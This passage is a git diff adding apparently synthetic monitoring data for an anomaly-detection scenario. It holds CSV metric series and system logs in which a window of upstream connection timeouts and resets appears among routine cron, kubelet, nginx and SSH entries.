+2025-08-15T14:00:45Z,13.28,38.42,21.88,1.46,1.81 +2025-08-15T14:00:50Z,16.96,39.31,23.51,1.19,1.38 +2025-08-15T14:00:55Z,14.86,37.76,22.99,0.84,1.81 +2025-08-15T14:01:00Z,12.32,40.83,28.01,1.07,1.86 +2025-08-15T14:01:05Z,14.68,39.73,27.27,0.82,2.1 +2025-08-15T14:01:10Z,14.33,38.86,23.37,1.22,1.78 +2025-08-15T14:01:15Z,18.74,38.78,26.22,1.52,1.67 +2025-08-15T14:01:20Z,14.42,40.75,27.23,1.13,1.95 +2025-08-15T14:01:25Z,17.68,40.85,20.56,1.27,2.03 +2025-08-15T14:01:30Z,16.53,38.91,23.61,1.09,2.13 +2025-08-15T14:01:35Z,16.53,40.07,24.67,1.36,1.75 +2025-08-15T14:01:40Z,14.29,39.08,24.41,0.95,1.52 +2025-08-15T14:01:45Z,13.8,39.2,22.06,1.13,1.46 +2025-08-15T14:01:50Z,13.84,39.35,29.4,1.01,1.66 +2025-08-15T14:01:55Z,17.72,38.43,24.68,1.08,1.57 +2025-08-15T14:02:00Z,15.0,40.11,27.22,1.39,1.92 +2025-08-15T14:02:05Z,16.41,38.95,14.5,1.38,1.51 +2025-08-15T14:02:10Z,14.78,40.92,21.44,1.38,1.79 +2025-08-15T14:02:15Z,14.84,39.3,26.78,1.11,1.63 +2025-08-15T14:02:20Z,12.9,39.05,20.4,1.49,1.87 +2025-08-15T14:02:25Z,17.1,38.82,24.96,1.41,2.05 +2025-08-15T14:02:30Z,34.42,40.24,20.82,0.08,0.18 +2025-08-15T14:02:35Z,26.81,41.24,24.1,0.09,0.53 +2025-08-15T14:02:40Z,31.84,42.02,28.67,0.3,0.27 +2025-08-15T14:02:45Z,29.55,40.83,29.77,0.66,0.56 +2025-08-15T14:02:50Z,31.14,42.13,23.9,0.15,0.0 +2025-08-15T14:02:55Z,28.44,44.02,25.68,0.54,0.79 +2025-08-15T14:03:00Z,30.17,40.72,25.72,0.44,0.82 +2025-08-15T14:03:05Z,26.43,45.27,19.89,0.42,0.88 +2025-08-15T14:03:10Z,31.55,43.67,21.88,0.45,0.82 +2025-08-15T14:03:15Z,33.94,43.61,27.45,0.51,0.55 +2025-08-15T14:03:20Z,23.33,46.26,25.74,0.42,0.66 +2025-08-15T14:03:25Z,28.84,45.8,24.52,0.42,0.45 +2025-08-15T14:03:30Z,29.01,48.55,23.57,0.34,0.48 +2025-08-15T14:03:35Z,21.19,50.98,24.2,0.48,0.62 +2025-08-15T14:03:40Z,32.14,48.1,24.12,0.15,0.3 +2025-08-15T14:03:45Z,35.49,50.78,26.57,0.24,0.61 +2025-08-15T14:03:50Z,25.07,49.22,22.97,0.16,0.65 +2025-08-15T14:03:55Z,29.68,51.06,23.09,0.11,0.82 +2025-08-15T14:04:00Z,33.93,53.85,27.04,0.44,0.92 +2025-08-15T14:04:05Z,27.54,53.9,17.09,0.23,0.45 +2025-08-15T14:04:10Z,31.71,54.86,22.96,0.54,0.44 +2025-08-15T14:04:15Z,31.88,52.28,28.92,0.33,0.91 +2025-08-15T14:04:20Z,36.1,54.64,22.94,0.34,0.85 +2025-08-15T14:04:25Z,30.9,55.05,24.1,0.51,0.25 +2025-08-15T14:04:30Z,29.17,53.92,26.05,0.19,0.46 +2025-08-15T14:04:35Z,30.4,55.65,21.15,0.42,0.19 +2025-08-15T14:04:40Z,25.39,55.75,22.75,0.42,0.39 +2025-08-15T14:04:45Z,26.72,56.76,25.04,0.29,0.0 +2025-08-15T14:04:50Z,32.5,56.45,26.46,0.29,0.21 +2025-08-15T14:04:55Z,34.09,60.42,24.34,0.31,0.1 +2025-08-15T14:05:00Z,31.9,58.61,23.85,0.44,0.85 +2025-08-15T14:05:05Z,29.61,60.01,32.03,0.48,0.86 +2025-08-15T14:05:10Z,26.4,61.7,25.87,0.62,0.28 +2025-08-15T14:05:15Z,27.63,61.54,31.18,0.66,0.36 +2025-08-15T14:05:20Z,28.22,63.88,21.45,0.46,0.05 +2025-08-15T14:05:25Z,36.02,62.37,24.13,0.2,0.63 +2025-08-15T14:05:30Z,30.25,61.05,24.19,0.67,0.31 +2025-08-15T14:05:35Z,39.47,67.27,26.65,0.59,0.14 +2025-08-15T14:05:40Z,32.27,67.28,27.65,0.49,0.65 +2025-08-15T14:05:45Z,27.86,65.74,23.52,0.47,0.47 +2025-08-15T14:05:50Z,16.35,64.58,23.9,1.19,1.69 +2025-08-15T14:05:55Z,15.18,67.34,26.55,1.11,1.87 +2025-08-15T14:06:00Z,12.91,65.99,27.44,1.18,1.86 +2025-08-15T14:06:05Z,14.22,66.49,27.61,1.19,1.69 +2025-08-15T14:06:10Z,15.47,65.35,27.39,1.32,1.72 +2025-08-15T14:06:15Z,16.69,67.88,25.58,1.55,1.57 +2025-08-15T14:06:20Z,15.88,66.87,24.74,1.07,1.9 +2025-08-15T14:06:25Z,15.5,65.85,30.77,1.42,2.03 +2025-08-15T14:06:30Z,17.23,65.22,20.43,1.4,2.03 +2025-08-15T14:06:35Z,16.39,64.35,22.9,1.32,1.91 +2025-08-15T14:06:40Z,15.28,65.82,30.11,1.45,1.57 +2025-08-15T14:06:45Z,12.04,67.75,24.55,1.23,1.55 +2025-08-15T14:06:50Z,17.44,65.87,25.0,1.08,1.76 +2025-08-15T14:06:55Z,14.2,64.71,21.68,1.22,2.19 +2025-08-15T14:07:00Z,12.14,64.6,21.67,1.49,1.97 +2025-08-15T14:07:05Z,14.7,68.58,26.1,1.24,2.13 +2025-08-15T14:07:10Z,19.23,64.95,27.46,0.99,2.02 +2025-08-15T14:07:15Z,13.73,66.12,27.85,1.23,1.98 +2025-08-15T14:07:20Z,14.66,65.06,23.41,1.35,1.66 +2025-08-15T14:07:25Z,13.66,67.2,25.74,0.77,1.39 diff --git a/anom_dataset/scenario_7/anom_7_26.log b/anom_dataset/scenario_7/anom_7_26.log new file mode 100644 index 0000000000000000000000000000000000000000..8c20c451b14ed6b1004116d2cd2ff45e507616ee --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_26.log @@ -0,0 +1,30 @@ +Aug 15 14:00:05 cron[10850]: (root) CMD (python3 /usr/local/bin/backup.py) +Aug 15 14:00:13 kubelet[18470]: INFO routine sync completed for pod web-app-clone +Aug 15 14:00:31 cron[27053]: (root) CMD (python3 /usr/local/bin/backup.py) +Aug 15 14:00:42 sshd[9519]: Accepted publickey for ubuntu from 192.168.1.197 port 47704 ssh2 +Aug 15 14:00:44 kubelet[5529]: INFO routine sync completed for pod web-app-clone +Aug 15 14:01:07 sshd[17682]: Accepted publickey for ubuntu from 192.168.1.170 port 47491 ssh2 +Aug 15 14:01:16 nginx[23493]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 14:01:21 kubelet[12048]: INFO Successfully probed container metrics-collector +Aug 15 14:01:59 sshd[14804]: Accepted publickey for ubuntu from 192.168.1.178 port 45466 ssh2 +Aug 15 14:02:12 kubelet[21263]: INFO Successfully probed container metrics-collector +Aug 15 14:02:33 nginx[11193]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 14:02:48 webapp[19268]: ERROR Connection timeout to upstream service user-database:8080 +Aug 15 14:03:05 kubelet[16975]: INFO Successfully probed container metrics-collector +Aug 15 14:03:32 nginx[20304]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.171 +Aug 15 14:03:59 kernel: TCP: Connection reset by peer on port 443, remote IP 10.1.2.3 +Aug 15 14:04:09 nginx[11690]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.150 +Aug 15 14:04:21 nginx[2592]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.143 +Aug 15 14:04:30 apigateway[11543]: WARN Read timeout while reading response from service: product-catalog +Aug 15 14:04:37 nginx[6394]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 14:04:48 systemd[1]: Started Session 51 of user ubuntu. +Aug 15 14:04:54 nginx[13168]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.183 +Aug 15 14:05:11 webapp[6116]: ERROR Connection timeout to upstream service user-database:8080 +Aug 15 14:05:23 apigateway[11128]: WARN Read timeout while reading response from service: product-catalog +Aug 15 14:05:31 apigateway[13976]: WARN Read timeout while reading response from service: product-catalog +Aug 15 14:06:26 systemd[1]: Started Session 34 of user ubuntu. +Aug 15 14:06:32 systemd[1]: Started Session 32 of user ubuntu. +Aug 15 14:07:00 kubelet[23890]: INFO Successfully probed container metrics-collector +Aug 15 14:07:05 cron[6550]: (root) CMD (python3 /usr/local/bin/backup.py) +Aug 15 14:07:11 kubelet[15549]: INFO Successfully probed container metrics-collector +Aug 15 14:07:25 nginx[23371]: GET /api/v1/health HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_7/anom_7_27.csv b/anom_dataset/scenario_7/anom_7_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..058708d109e5db4d20eced0e14dc991380655524 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,14.89,39.65,26.37,1.15,0.9 +2025-07-03T11:00:05Z,18.21,39.02,19.83,1.14,0.76 +2025-07-03T11:00:10Z,15.35,41.79,22.7,0.86,1.05 +2025-07-03T11:00:15Z,13.99,39.22,21.67,1.06,1.35 +2025-07-03T11:00:20Z,13.34,43.05,23.38,1.03,1.05 +2025-07-03T11:00:25Z,14.99,38.22,23.48,1.14,0.8 +2025-07-03T11:00:30Z,17.12,38.44,21.93,1.35,0.74 +2025-07-03T11:00:35Z,15.76,39.51,26.06,1.01,1.05 +2025-07-03T11:00:40Z,16.71,39.19,24.67,1.61,1.04 +2025-07-03T11:00:45Z,18.91,44.46,25.11,1.58,1.1 +2025-07-03T11:00:50Z,15.53,40.19,28.05,1.11,0.95 +2025-07-03T11:00:55Z,13.79,38.49,23.34,1.09,1.05 +2025-07-03T11:01:00Z,16.04,35.83,29.93,1.17,0.86 +2025-07-03T11:01:05Z,12.39,41.48,26.29,1.56,0.96 +2025-07-03T11:01:10Z,16.82,38.27,26.33,1.32,0.77 +2025-07-03T11:01:15Z,18.73,40.97,22.89,1.11,1.27 +2025-07-03T11:01:20Z,17.5,38.62,20.81,1.2,1.56 +2025-07-03T11:01:25Z,19.04,35.5,26.99,1.24,0.75 +2025-07-03T11:01:30Z,14.57,44.01,21.78,1.01,0.94 +2025-07-03T11:01:35Z,12.45,39.64,24.21,1.16,1.0 +2025-07-03T11:01:40Z,16.03,38.36,25.96,1.36,1.17 +2025-07-03T11:01:45Z,19.47,40.04,24.12,1.22,0.87 +2025-07-03T11:01:50Z,17.47,39.15,26.35,1.22,1.03 +2025-07-03T11:01:55Z,16.98,40.93,24.43,0.77,0.67 +2025-07-03T11:02:00Z,11.78,39.15,24.62,0.98,0.87 +2025-07-03T11:02:05Z,15.37,41.94,26.03,1.39,1.12 +2025-07-03T11:02:10Z,14.69,38.18,31.49,1.2,0.8 +2025-07-03T11:02:15Z,11.73,42.54,21.66,1.08,0.72 +2025-07-03T11:02:20Z,13.99,42.19,23.64,1.12,1.3 +2025-07-03T11:02:25Z,14.67,38.6,21.55,1.22,1.11 +2025-07-03T11:02:30Z,34.41,39.72,20.22,0.23,0.37 +2025-07-03T11:02:35Z,26.76,42.14,24.7,0.17,0.13 +2025-07-03T11:02:40Z,28.0,40.59,25.19,0.26,0.4 +2025-07-03T11:02:45Z,34.07,40.18,21.47,0.1,0.1 +2025-07-03T11:02:50Z,27.08,37.09,25.08,0.42,0.3 +2025-07-03T11:02:55Z,24.53,45.55,23.8,0.43,0.14 +2025-07-03T11:03:00Z,27.07,42.6,25.83,0.04,0.16 +2025-07-03T11:03:05Z,33.46,42.14,32.84,0.16,0.28 +2025-07-03T11:03:10Z,26.75,45.89,20.73,0.07,0.01 +2025-07-03T11:03:15Z,30.89,46.94,22.7,0.24,0.29 +2025-07-03T11:03:20Z,28.77,49.73,26.54,0.37,0.2 +2025-07-03T11:03:25Z,25.88,45.93,22.9,0.38,0.28 +2025-07-03T11:03:30Z,27.2,49.63,22.24,0.37,0.26 +2025-07-03T11:03:35Z,33.19,48.09,22.64,0.36,0.33 +2025-07-03T11:03:40Z,34.48,47.74,22.11,0.19,0.27 +2025-07-03T11:03:45Z,23.06,49.01,22.11,0.0,0.3 +2025-07-03T11:03:50Z,33.67,52.19,24.82,0.22,0.24 +2025-07-03T11:03:55Z,34.76,49.49,28.42,0.49,0.25 +2025-07-03T11:04:00Z,31.58,48.66,29.33,0.31,0.25 +2025-07-03T11:04:05Z,28.7,53.95,25.71,0.21,0.22 +2025-07-03T11:04:10Z,31.59,52.26,29.22,0.47,0.13 +2025-07-03T11:04:15Z,28.76,52.07,25.01,0.28,0.18 +2025-07-03T11:04:20Z,28.15,53.95,21.51,0.48,0.32 +2025-07-03T11:04:25Z,31.61,52.08,23.69,0.29,0.35 +2025-07-03T11:04:30Z,34.93,54.55,22.71,0.26,0.25 +2025-07-03T11:04:35Z,27.37,56.82,24.44,0.5,0.23 +2025-07-03T11:04:40Z,22.22,56.26,22.98,0.39,0.11 +2025-07-03T11:04:45Z,31.54,57.35,22.12,0.35,0.0 +2025-07-03T11:04:50Z,26.97,57.84,27.82,0.2,0.24 +2025-07-03T11:04:55Z,30.62,59.98,27.82,0.32,0.22 +2025-07-03T11:05:00Z,31.99,59.23,23.31,0.4,0.21 +2025-07-03T11:05:05Z,28.56,59.85,20.84,0.17,0.18 +2025-07-03T11:05:10Z,29.84,61.61,23.59,0.3,0.14 +2025-07-03T11:05:15Z,36.53,61.67,20.1,0.25,0.25 +2025-07-03T11:05:20Z,30.6,69.09,28.03,0.12,0.24 +2025-07-03T11:05:25Z,29.16,60.42,13.85,0.02,0.27 +2025-07-03T11:05:30Z,37.35,64.36,28.55,0.5,0.02 +2025-07-03T11:05:35Z,27.82,64.92,26.02,0.28,0.09 +2025-07-03T11:05:40Z,29.1,64.23,22.34,0.31,0.33 +2025-07-03T11:05:45Z,34.33,65.85,24.2,0.14,0.18 +2025-07-03T11:05:50Z,12.61,63.4,21.73,1.22,0.93 +2025-07-03T11:05:55Z,14.25,59.17,23.73,1.24,1.02 +2025-07-03T11:06:00Z,15.35,63.32,25.85,1.2,0.83 +2025-07-03T11:06:05Z,16.89,57.9,21.96,1.1,1.16 +2025-07-03T11:06:10Z,13.07,56.19,29.64,0.88,0.88 +2025-07-03T11:06:15Z,19.3,56.27,26.14,1.35,0.99 +2025-07-03T11:06:20Z,19.8,56.92,27.6,1.28,0.89 +2025-07-03T11:06:25Z,15.27,55.25,23.8,1.1,0.86 +2025-07-03T11:06:30Z,13.47,55.12,26.7,1.39,1.1 +2025-07-03T11:06:35Z,13.91,50.73,23.18,1.25,1.47 +2025-07-03T11:06:40Z,15.82,52.0,23.67,1.06,1.2 +2025-07-03T11:06:45Z,15.94,49.55,27.71,0.84,1.61 +2025-07-03T11:06:50Z,19.76,50.79,24.65,1.61,1.06 +2025-07-03T11:06:55Z,13.4,47.95,24.86,0.96,1.29 +2025-07-03T11:07:00Z,12.83,46.19,28.93,1.49,1.06 +2025-07-03T11:07:05Z,13.72,43.93,23.77,1.34,0.6 +2025-07-03T11:07:10Z,16.02,45.77,26.39,1.27,1.03 +2025-07-03T11:07:15Z,15.08,46.37,29.36,1.62,1.28 +2025-07-03T11:07:20Z,17.56,43.51,31.21,0.7,0.97 +2025-07-03T11:07:25Z,14.63,39.5,23.88,1.09,0.94 diff --git a/anom_dataset/scenario_7/anom_7_27.log b/anom_dataset/scenario_7/anom_7_27.log new file mode 100644 index 0000000000000000000000000000000000000000..4851364ed440294d58b33fe8b4b0a989d3ef40fc --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_27.log @@ -0,0 +1,43 @@ +Jul 03 11:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:00:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:01:20 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:02:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:02:05 systemd[1]: Started Session 25 of user ubuntu. +Jul 03 11:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:02:30 web-app[11497]: ERROR Failed to connect to database-primary:5432: Read timeout +Jul 03 11:02:35 web-app[11497]: ERROR Failed to connect to auth-service:8080: Connection reset by peer +Jul 03 11:02:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:02:40 web-app[10405]: ERROR Failed to connect to payment-gateway:443: Read timeout +Jul 03 11:02:55 web-app[10405]: ERROR Failed to connect to database-primary:5432: Read timeout +Jul 03 11:03:00 web-app[11497]: ERROR Failed to connect to auth-service:8080: Connection timeout +Jul 03 11:03:05 web-app[11497]: ERROR Failed to connect to auth-service:8080: Connection reset by peer +Jul 03 11:03:15 web-app[11497]: ERROR Failed to connect to auth-service:8080: Connection reset by peer +Jul 03 11:03:20 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:03:20 web-app[11497]: ERROR Failed to connect to auth-service:8080: Connection timeout +Jul 03 11:03:25 web-app[11827]: ERROR Failed to connect to payment-gateway:443: Connection reset by peer +Jul 03 11:03:30 web-app[11497]: ERROR Failed to connect to database-primary:5432: Connection timeout +Jul 03 11:03:35 web-app[13335]: ERROR Failed to connect to database-primary:5432: Connection timeout +Jul 03 11:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:03:45 web-app[10405]: ERROR Failed to connect to database-primary:5432: Read timeout +Jul 03 11:03:50 web-app[10405]: ERROR Failed to connect to database-primary:5432: Connection reset by peer +Jul 03 11:04:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:04:05 web-app[11497]: ERROR Failed to connect to database-primary:5432: Connection reset by peer +Jul 03 11:04:10 systemd[1]: Started Session 50 of user ubuntu. +Jul 03 11:04:10 web-app[13335]: ERROR Failed to connect to database-primary:5432: Connection timeout +Jul 03 11:04:20 web-app[11497]: ERROR Failed to connect to database-primary:5432: Connection timeout +Jul 03 11:04:25 web-app[11497]: ERROR Failed to connect to auth-service:8080: Connection reset by peer +Jul 03 11:04:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:04:50 web-app[10405]: ERROR Failed to connect to payment-gateway:443: Connection reset by peer +Jul 03 11:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:05:05 web-app[13335]: ERROR Failed to connect to auth-service:8080: Connection reset by peer +Jul 03 11:05:10 web-app[11827]: ERROR Failed to connect to auth-service:8080: Connection timeout +Jul 03 11:05:20 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:05:25 web-app[10605]: ERROR Failed to connect to database-primary:5432: Connection reset by peer +Jul 03 11:05:35 web-app[11497]: ERROR Failed to connect to auth-service:8080: Read timeout +Jul 03 11:06:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:06:15 systemd[1]: Started Session 75 of user ubuntu. +Jul 03 11:06:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:07:20 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_7/anom_7_28.csv b/anom_dataset/scenario_7/anom_7_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..8f57cf549e7a836c6c68231197a48b899a1b6262 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T10:00:00Z,16.16,42.87,20.9,1.74,1.16 +2025-08-26T10:00:05Z,16.97,40.07,21.29,1.58,1.26 +2025-08-26T10:00:10Z,22.24,44.59,33.08,1.31,1.34 +2025-08-26T10:00:15Z,24.56,41.39,21.9,1.41,1.33 +2025-08-26T10:00:20Z,19.81,40.57,23.46,1.61,1.22 +2025-08-26T10:00:25Z,19.52,41.5,24.8,1.58,1.4 +2025-08-26T10:00:30Z,24.43,42.82,29.55,1.33,1.38 +2025-08-26T10:00:35Z,21.91,44.45,31.24,1.61,1.3 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+2025-08-26T10:04:00Z,40.65,52.55,24.51,0.42,0.27 +2025-08-26T10:04:05Z,41.82,54.57,22.7,0.13,0.59 +2025-08-26T10:04:10Z,35.16,53.6,25.48,0.41,0.6 +2025-08-26T10:04:15Z,42.32,54.68,34.74,0.56,0.55 +2025-08-26T10:04:20Z,43.61,54.29,20.14,0.48,0.57 +2025-08-26T10:04:25Z,35.44,58.49,29.36,0.57,0.37 +2025-08-26T10:04:30Z,35.55,57.25,30.41,0.24,0.33 +2025-08-26T10:04:35Z,42.37,57.14,25.92,0.32,0.64 +2025-08-26T10:04:40Z,45.46,60.27,24.18,0.22,0.61 +2025-08-26T10:04:45Z,35.12,57.59,30.81,0.5,0.63 +2025-08-26T10:04:50Z,46.78,58.68,23.89,0.28,0.25 +2025-08-26T10:04:55Z,43.77,59.75,26.02,0.37,0.5 +2025-08-26T10:05:00Z,49.86,61.82,25.27,0.21,0.4 +2025-08-26T10:05:05Z,40.13,61.6,32.61,0.52,0.48 +2025-08-26T10:05:10Z,46.04,60.28,32.09,0.39,0.22 +2025-08-26T10:05:15Z,39.87,62.02,27.75,0.5,0.53 +2025-08-26T10:05:20Z,44.22,61.27,32.53,0.33,0.58 +2025-08-26T10:05:25Z,45.86,64.67,25.06,0.31,0.55 +2025-08-26T10:05:30Z,37.89,63.49,30.57,0.49,0.22 +2025-08-26T10:05:35Z,37.04,64.93,34.5,0.39,0.6 +2025-08-26T10:05:40Z,38.84,63.89,34.21,0.56,0.36 +2025-08-26T10:05:45Z,47.35,64.92,30.65,0.57,0.49 +2025-08-26T10:05:50Z,17.64,64.13,31.27,1.58,1.4 +2025-08-26T10:05:55Z,18.55,62.23,32.08,1.54,1.47 +2025-08-26T10:06:00Z,18.39,63.02,23.39,1.74,1.46 +2025-08-26T10:06:05Z,19.22,61.64,22.92,1.63,1.18 +2025-08-26T10:06:10Z,19.04,59.61,32.21,1.2,1.31 +2025-08-26T10:06:15Z,21.77,59.06,23.64,1.43,1.25 +2025-08-26T10:06:20Z,24.16,58.49,24.5,1.59,1.34 +2025-08-26T10:06:25Z,20.81,59.06,28.6,1.78,1.02 +2025-08-26T10:06:30Z,16.34,56.8,31.63,1.39,1.31 +2025-08-26T10:06:35Z,20.03,53.88,24.4,1.28,1.29 +2025-08-26T10:06:40Z,24.04,53.96,28.71,1.3,1.01 +2025-08-26T10:06:45Z,16.47,51.81,22.93,1.75,1.26 +2025-08-26T10:06:50Z,24.77,54.29,33.17,1.39,1.34 +2025-08-26T10:06:55Z,23.3,50.66,25.25,1.23,1.46 +2025-08-26T10:07:00Z,16.45,48.37,33.81,1.33,1.07 +2025-08-26T10:07:05Z,16.07,48.17,27.58,1.41,1.36 +2025-08-26T10:07:10Z,23.07,47.57,34.67,1.52,1.02 +2025-08-26T10:07:15Z,22.57,46.87,20.21,1.68,1.47 +2025-08-26T10:07:20Z,22.17,44.65,23.0,1.6,1.48 +2025-08-26T10:07:25Z,16.15,44.17,33.96,1.35,1.08 diff --git a/anom_dataset/scenario_7/anom_7_28.log b/anom_dataset/scenario_7/anom_7_28.log new file mode 100644 index 0000000000000000000000000000000000000000..4496bcd4fc6e7a78d5b0a9cc7aea39f191e2bc26 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_28.log @@ -0,0 +1,180 @@ +Aug 26 10:00:01 sshd[17248]: Accepted publickey for ubuntu from 10.1.24.1 port 39539 ssh2: RSA SHA256:... +Aug 26 10:00:05 CRON[17127]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:00:05 CRON[23627]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:00:05 nginx[16822]: 10.1.49.80 - - [26/Aug/2025:10:00:05 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:00:10 kubelet[11060]: INFO: routine sync completed for pod data-processor-5 +Aug 26 10:00:10 kubelet[14942]: INFO: routine sync completed for pod web-app-1 +Aug 26 10:00:10 kubelet[5413]: INFO: Successfully probed container health-check on pod data-processor-5 +Aug 26 10:00:19 CRON[2839]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:00:19 kubelet[20613]: INFO: Successfully probed container health-check on pod data-processor-5 +Aug 26 10:00:22 kubelet[21019]: INFO: routine sync completed for pod web-app-1 +Aug 26 10:00:29 kubelet[13835]: INFO: Successfully probed container health-check on pod data-processor-5 +Aug 26 10:00:29 nginx[12633]: 10.1.43.234 - - [26/Aug/2025:10:00:29 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:00:30 CRON[6629]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:00:30 kubelet[22569]: INFO: Successfully probed container health-check on pod web-app-1 +Aug 26 10:00:30 sshd[3890]: Accepted publickey for ubuntu from 10.1.60.9 port 22738 ssh2: RSA SHA256:... +Aug 26 10:00:37 kubelet[18428]: INFO: routine sync completed for pod web-app-1 +Aug 26 10:00:37 systemd[1]: Started Session 25 of user root. +Aug 26 10:00:42 kubelet[2496]: INFO: Successfully probed container health-check on pod api-server-3 +Aug 26 10:00:49 kubelet[4531]: INFO: routine sync completed for pod data-processor-5 +Aug 26 10:00:49 kubelet[7035]: INFO: routine sync completed for pod api-server-3 +Aug 26 10:00:49 nginx[10839]: 10.1.7.229 - - [26/Aug/2025:10:00:49 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:00:53 CRON[18182]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:00:57 kubelet[23926]: INFO: routine sync completed for pod data-processor-5 +Aug 26 10:00:57 kubelet[8411]: INFO: routine sync completed for pod web-app-1 +Aug 26 10:00:57 sshd[24701]: Accepted publickey for ubuntu from 10.1.57.136 port 47253 ssh2: RSA SHA256:... +Aug 26 10:01:01 kubelet[23931]: INFO: Successfully probed container health-check on pod api-server-3 +Aug 26 10:01:01 nginx[23321]: 10.1.2.195 - - [26/Aug/2025:10:01:01 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:01:01 systemd[1]: Started Session 19 of user root. +Aug 26 10:01:08 kubelet[17802]: INFO: routine sync completed for pod web-app-1 +Aug 26 10:01:08 nginx[13296]: 10.1.34.253 - - [26/Aug/2025:10:01:08 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:01:14 kubelet[6114]: INFO: routine sync completed for pod data-processor-5 +Aug 26 10:01:16 CRON[19008]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:01:16 nginx[17225]: 10.1.75.213 - - [26/Aug/2025:10:01:16 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:01:23 kubelet[3470]: INFO: Successfully probed container health-check on pod api-server-3 +Aug 26 10:01:23 nginx[20452]: 10.1.14.18 - - [26/Aug/2025:10:01:23 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:01:27 kubelet[21577]: INFO: routine sync completed for pod api-server-3 +Aug 26 10:01:27 kubelet[22301]: INFO: Successfully probed container health-check on pod api-server-3 +Aug 26 10:01:33 CRON[9090]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:01:33 kubelet[17514]: INFO: routine sync completed for pod api-server-3 +Aug 26 10:01:33 systemd[1]: Started Session 10 of user root. +Aug 26 10:01:37 CRON[8538]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:01:43 kubelet[16850]: INFO: routine sync completed for pod data-processor-5 +Aug 26 10:01:48 kubelet[15982]: INFO: Successfully probed container health-check on pod data-processor-5 +Aug 26 10:01:48 systemd[1]: Started Session 29 of user root. +Aug 26 10:01:54 nginx[9395]: 10.1.65.28 - - [26/Aug/2025:10:01:54 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:01:56 CRON[11987]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:01:56 nginx[11937]: 10.1.97.140 - - [26/Aug/2025:10:01:56 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:02:00 CRON[16070]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:02:00 kubelet[12153]: INFO: routine sync completed for pod data-processor-5 +Aug 26 10:02:00 systemd[1]: Started Session 39 of user root. +Aug 26 10:02:05 CRON[10269]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:02:14 nginx[16536]: 10.1.83.55 - - [26/Aug/2025:10:02:14 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:02:14 sshd[10770]: Accepted publickey for ubuntu from 10.1.61.26 port 14867 ssh2: RSA SHA256:... +Aug 26 10:02:19 systemd[1]: Started Session 26 of user root. +Aug 26 10:02:23 CRON[24262]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:02:23 nginx[12860]: 10.1.14.83 - - [26/Aug/2025:10:02:23 ] "GET /api/v1/health HTTP/1.1" 200 2 "-" "Go-http-client/1.1" +Aug 26 10:02:23 nginx[20545]: 